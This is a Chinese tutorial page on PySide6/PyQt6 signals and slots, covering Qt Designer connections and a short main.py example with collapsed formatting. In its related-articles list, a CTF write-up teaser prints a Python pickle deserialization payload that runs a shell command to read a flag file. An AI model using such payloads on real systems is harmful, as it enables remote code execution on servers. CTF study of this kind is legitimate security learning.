Pyqt6Pyside6 信号与槽详解

news/2024/9/25 19:23:11

信号与槽

对于可视化编程,需要将界面上的控件有机结合起来,实现控件功能的联动和交互操作。比如点击按钮,实现某项功能。对按钮功能的定义,是通过信号(signal)与槽(slot)机制实现的。信号与槽是PySide6编程的基础,也是Qt的一大创新,有了信号与槽的编程机制,在PySide6中处理界面上各个控件的交互操作时变得更加直观和简单。

信号:信号是指从QObject类继承的控件(窗口、按钮、文本框、列表框等)在某个动作下或状态发生改变时发出的一个指令或一个信息,例如一个按钮被单击(clicked)、右击一个窗口(customContextMenuRequested)、一个输入框中文字的改变(textChanged)等,当这些控件的状态发生变化或者外界对控件进行输入时,让这些控件发出一个信息,来通知系统其某种状态发生了变化或者得到了外界的输入,以便让系统对外界的输入进行响应。

槽:槽是系统对控件发出的信号进行的响应,或者产生的动作,通常用函数来定义系统的响应或动作,因此也叫做“槽函数”。例如对于单击“计算”按钮,按钮发出被单击的信号,然后编写对应的函数,当控件发出信号时,就会自动执行与信号关联的函数。

信号与槽的关系可以是一对一,也可以是多对多,即一个信号可以关联多个槽函数,一个槽函数也可以接收多个信号。PySide6已经为控件编写了一些信号和槽函数,使用前需要将信号和槽函数进行连接,另外用户还可以自定义信号和自定义槽函数。

内置信号与内置槽的连接

PySide6对控件已经定义的信号和槽可以在Qt Designer中查看。启动Qt Designer创建一个MainWindow.ui文件,在窗口上拖放一个新的Push Button按钮,并将objectName改成btnClose,将text设置成“关闭”。然后单击工具栏上的“编辑信号/槽”按钮,进入信号和槽的编辑界面,按住Shift键的同时,用鼠标左键拖拽“关闭”按钮到窗口的空白区,这时会出现一个红色线和接地符号,松开鼠标,弹出“配置连接”对话框。

img

勾选“显示从QWidget继承的信号和槽”,这时对话框的左边列表框中显示按钮的所有已定义信号,右边列表框中显示窗口所有的槽函数。这里左边选择按钮的clicked()信号,右边选择窗口的close()函数,单击OK按钮,就建立了按钮的单击信号(clicked)和窗口的关闭(close)的连接。

img

按ESC键退出信号/槽编辑状态。另外一种建立信号和槽的方法是使用“信号/槽编辑器”。在Qt Designer的右下角的“信号/槽编辑器”上单击+按钮,双击发送者下的<发送者>,找到btnClose按钮,双击信号下的<信号>,找到clicked(),双击接收者下的<接收者>,找到Form,双击槽下的<槽>,找到close(),这样就建立了信号和槽的连接。如果要删除信号和槽的连接,应先选中信号槽,然后单击-按钮。

img

将ui文件编译成py文件,打开生成的py文件,可以发现在py中增加了一行新代码self.btnClose.clicked.connect(Form.close),用控件信号的connect()方法将信号和函数进行了连接,注意被连接的槽函数不需要带括号。

self.signalName.connect(receiver.slotName)

添加一个main.py,添加如下代码,运行main.py:

from PySide6.QtWidgets import QApplication, QMainWindow
from Ui_MainWindow import Ui_MainWindow
import sysclass MainWindow(QMainWindow, Ui_MainWindow):def __init__(self):super().__init__()self.setupUi(self)self.show()app = QApplication(sys.argv)
w = MainWindow()
app.exec()

img

当pushButton被点击,窗口被关闭。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/30706.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

minio依赖报错

引入minio-sdk后启动报错 现象一 1缺失kotlin.collections.ArraysKt.copyInto([B[BIII)[B解决方法 提升kotlin-stdin依赖 <dependency><groupId>org.jetbrains.kotlin</groupId><artifactId>kotlin-stdlib</artifactId><version>1.3.70<…

黄河流域挑战赛WEB部分-gxngxngxn

黄河流域公安院校挑战赛WEB部分-gxngxngxn myfavorPython pickle反序列话,开启debug,用报错 import os import pickle import base64 class A():def __reduce__(self):return (exec,("raise Exception(__import__(os).popen(cat flag.txt).read())",))a = A() b = …

新版FLASK下python内存马的研究

新版FLASK下python内存马的研究 风起 2月中旬的某一天,跟@Ic4_F1ame无聊时聊起了出题的事。当时是打算出道python题目(菜🐕的我之前只会出php的)。两个卑微web🐕一起讨论出题,于是就有了下面的聊天,也是罪恶的开始(bushi):内存马初体验 当时正好看到一篇关于flask如何打…

Unity2D 模拟手柄实现玩家移动

1,创建控制器UI2,挂载脚本3,脚本编写基本要素[Tooltip("玩家游戏体")]public Rigidbody2D player;[Tooltip("玩家速度")]public float speed = 1f;[Tooltip("玩家动画")]public Animator animator;public enum Mode {BUTTON,ROCKER,}[Tooltip…

【TransmittableThreadLocal】TransmittableThreadLocal的实现机制和原理

1 前言 前面我看过了 ThreadLocal的实现机制和原理 以及 InheritableThreadLocal的实现机制和原理 两种类型的 ThreadLocal,前者是普通的,后者是在前者的基础上套了一层父子线程关系,当使用后者的时候,会在线程创建的时候,浅拷贝一份父线程的变量值。那么今天空了,我来看…

自定义函数在LCD上显示一张不超过LCD像素大小的色深为 24bit的bmp图片

设计程序实现在LCD上任意位置显示一张任意大小的色深为 24bit的bmp图片,要求图像不失真可以在开发板的LCD上显示。 头文件包含 #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #incl…

实验二 电子公文传输系统安全——读书笔记

《The.Security.Development.Lifecycle.CN.软件安全开发生命周期》 第一部分 对SDL的需求 隐私与安全: 隐私可以看作是遵守策略的一种方式,安全则看做是一种执行策略的方式。隐私问题的核心是符合监管部门的要求、公司策略和客户期望。关于安全还需要考虑的一个因素是与客户签…

多模态大模型 LLaVA 微调教程-大语言模型8

写完之后发现他好像不是很需要这个东西,所以就直接发在自己的博客好了。不投稿首页或者候选区应该本来也就不会有多少流量,所以应该不会干嘛的,大不了后面被说不让放网上以后就删掉这篇,嘻嘻。LLaVA 是最早出现的 Vision Language Model。本教程将教你微调 llava-v1.5-13b …